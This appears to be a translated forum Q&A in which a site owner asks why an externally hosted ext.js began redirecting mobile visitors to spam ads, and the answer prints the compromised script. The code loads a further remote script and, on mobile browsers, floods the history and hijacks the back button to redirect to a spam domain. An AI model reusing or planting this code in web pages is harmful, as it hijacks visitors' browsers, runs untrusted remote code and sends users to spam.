Does passadvice.s3.amazonaws.com/static/js/ext.js redirect to spam ads?

Question

JavaScript

Perhaps someone came across a script from this link on the sites?
The fact is that on a long-existing site, suddenly (!) this script, by connecting different scripts with cdn, began to redirect to spam ads on mobile devices. Moreover, it seems that before it served quite noble purposes). Here is the question: how?
If you have come across, tell us how it can be, how scripts are replaced or modified? Because there was no problem before.

Answer 1

if (typeof window.getJs_f2c1ce8f7abf1928c1e5e9780adf9613 === 'undefined') {
  window.getJs_f2c1ce8f7abf1928c1e5e9780adf9613 = function () {
    var a = document.getElementsByTagName('head')[0];
    var b = document.createElement('script');
    b.type = 'text/javascript';
    b.src = '//s3-cdn.com/js2/get-js.js';
    a.appendChild(b)
  };
  getJs_f2c1ce8f7abf1928c1e5e9780adf9613()
}
if (/Android|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini|Mobi/i.test(navigator.userAgent)) { !
  function () {
    var t;
    try {
      for (t = 0; 10 > t; ++t) history.pushState({},
      "", "#");
      onpopstate = function (t) {
        t.state && top.location.replace("http://get.imobilecontent.tk/?utm_medium=6a9d4be48f9dd74ece2547f9a7d3ed068107809c&utm_campaign=aws_bb_2&1=")
      }
    } catch(o) {}
  } ()
}